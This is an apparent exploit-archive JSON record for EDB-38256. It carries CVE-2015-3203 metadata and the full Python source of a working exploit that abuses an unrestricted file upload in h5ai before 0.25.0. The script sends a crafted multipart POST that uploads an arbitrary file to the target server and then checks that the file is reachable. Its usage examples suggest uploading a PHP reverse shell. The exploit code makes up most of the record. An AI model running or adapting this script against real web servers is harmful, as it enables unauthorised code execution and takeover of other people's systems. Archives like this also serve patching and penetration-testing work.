{"exploit":{"id":"EDB-38256","name":"h5ai < 0.25.0 - Unrestricted Arbitrary File Upload","description":"h5ai < 0.25.0 - Unrestricted Arbitrary File Upload","cves":["CVE-2015-3203"],"author":"rTheory","published":"2015-09-22","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/38256","path":"exploits/php/webapps/38256.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-38256.py","vulnerabilities":[{"id":"CVE-2015-3203","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unrestricted file upload vulnerability in h5ai before 0.25.0 allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in the directory specified by the href parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-3203","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-3203"},"updatedAt":"2024-08-06T05:39:32.011Z","retrievedAt":"2026-11-27T11:06:59.097Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-38256.png?v=2","url":"https://exploitbin.com/exploits/EDB-38256","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-38256/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-38256/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python\n\n# Exploit Title: h5ai < 0.25.0 Unrestricted File Upload\n# Date: 21 September 2015\n# Exploit Author: rTheory\n# Vendor Homepage: https://larsjung.de/h5ai/\n# Vulnerable Software Link: https://web.archive.org/web/20140208063613/http://release.larsjung.de/h5ai/h5ai-0.24.0.zip\n# Vulnerable Versions: 0.22.0 - 0.24.1\n# Tested on: 0.24.0 running on Apache\n# CVE : 2015-3203\n\nimport urllib\nimport urllib2\nimport socket\nimport os\nimport getopt\nimport sys\n\n# Globals with default options\nurl = ''\npath = '/'\nfileName = ''\nfilePath = ''\nverboseMode = False\n\ndef header():\n    print '+-----------------------------------------------+'\n    print '| File upload exploit for h5ai v0.22.0 - 0.24.1 |'\n    print '|  See CVE-2015-3203 for vulnerability details  |'\n    print '+------------------- rTheory -------------------+'\n\ndef usage():\n    print\n    print 'Usage: %s -t target_url -f upload_file' % os.path.basename(__file__)\n    print '-t --target           - The URL to connect to'\n    print '                        ex: http://example.com'\n    print '-f --file             - The file to upload'\n    print '                        ex: php-reverse-shell.php'\n    print '-p --path             - The path to upload to'\n    print '                        Default is \\'/\\''\n    print '-v --verbose          - Enable more verbose output'\n    print\n    print 'Examples:'\n    print '%s -t http://example.com:8080 -f php-reverse-shell.php' % os.path.basename(__file__)\n    print '%s -t http://192.168.1.100 -f php-reverse-shell.php -p /dir/' % os.path.basename(__file__)\n    sys.exit(0)\n\ndef main():\n    global url\n    global path\n    global fileName\n    global filePath\n    global verboseMode\n\n    header()\n\n    if not len(sys.argv[4:]):\n        print '[-] Incorrect number of arguments'\n        usage()\n\n    try:\n        opts, args = getopt.getopt(sys.argv[1:],\"ht:f:p:v\", [\"help\",\"target\",\"file\",\"path\",\"verbose\"])\n    except getopt.GetoptError as err:\n        print str(err)\n        usage()\n\n    for o,a in opts:\n        if o in ('-h','--help'):\n            usage()\n        elif o in ('-t','--target'):\n            url = a\n        elif o in ('-f','--file'):\n            fileName = a\n        elif o in ('-p','--path'):\n            path = a\n        elif o in ('-v','--verbose'):\n            verboseMode = True\n        else:\n            assert False,\"Unhandled Option\"\n\n    # Test target URL, target file, and path inputs for validity\n    if not url.startswith('http'):\n        print '[-] Error: Target URL must start with http:// or https://'\n        usage()\n    if not os.path.isfile(fileName):\n        print '[-] Error: File does not appear to exist'\n        usage()\n    if not (path.startswith('/') and path.endswith('/')):\n        print '[-] Error: Path must start and end with a \\'/\\''\n        usage()\n\n    # Determine target host, which is the URL minus the leading protocol\n    if url.find('http://') != -1:\n        host = url[7:]\n    elif url.find('https://') != -1:\n        host = url[8:]\n    else:\n        host = url\n\n    # Store the contents of the upload file into a string\n    print '[+] Reading upload file'\n    f = open(fileName,'r')\n    fileContents = f.read()\n    f.close()\n\n    MPFB = 'multipartformboundary1442784669030' # constant string used for MIME info\n\n    # Header information. Content-Length not needed.\n    http_header = {\n        \"Host\" : host,\n        \"User-Agent\" : \"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0\",\n        \"Accept\" : \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\n        \"Accept-Language\" : \"en-us,en;q=0.5\",\n        \"Accept-Encoding\" : \"gzip, deflate\",\n        \"Content-type\" : \"multipart/form-data; boundary=------\" + MPFB,\n        \"X-Requested-With\" : \"XMLHttpRequest\",\n        \"Referer\" : url + path,\n        \"Connection\" : \"keep-alive\"\n    }\n\n    # POST parameter for file upload\n    payload  = '--------'+MPFB+'\\r\\nContent-Disposition: form-data; name=\"action\"\\r\\n\\r\\nupload\\r\\n'\n    payload += '--------'+MPFB+'\\r\\nContent-Disposition: form-data; name=\"href\"\\r\\n\\r\\n'+path+'\\r\\n'\n    payload += '--------'+MPFB+'\\r\\nContent-Disposition: form-data; name=\"userfile\"; filename=\"'+fileName+'\"\\r\\nContent-Type: \\r\\n\\r\\n'+fileContents+'\\r\\n'\n    payload += '--------'+MPFB+'--\\r\\n'\n\n    socket.setdefaulttimeout(5)\n    opener = urllib2.build_opener()\n    req = urllib2.Request(url, payload, http_header)\n\n    # submit request and print output. Expected: \"code 0\"\n    try:\n        print '[+] Sending exploit POST request'\n        res = opener.open(req)\n        html = res.read()\n        if verboseMode: print '[+] Server returned: ' + html\n    except:\n        print '[-] Socket timed out, but it might still have worked...'\n\n    # close the connection\n    opener.close()\n\n    # Last step: check to see if the file uploaded (performed outside of this function)\n    filePath = url + path + fileName\n    print '[+] Checking to see if the file uploaded:'\n    print '[+] ' + filePath\n\ndef postCheck():\n    # Check to see if the file exists\n    # This may work now that everything from main() was torn down\n    global filePath\n    try:\n        urllib2.urlopen(filePath)\n        print '[+] File uploaded successfully!'\n    except urllib2.HTTPError, e:\n        print '[-] File did not appear to upload'\n    except urllib2.URLError, e:\n        print '[-] File did not appear to upload'\n\nmain()\npostCheck()","sha256":"2b610130d37ded4dcfaae2deffc841b4ccf2fc63afee760b6061382bb398ae73","bytes":5398,"fetchedAt":"2026-11-27T11:06:58.920Z","encoding":"utf-8 (display only; download retains original bytes)"}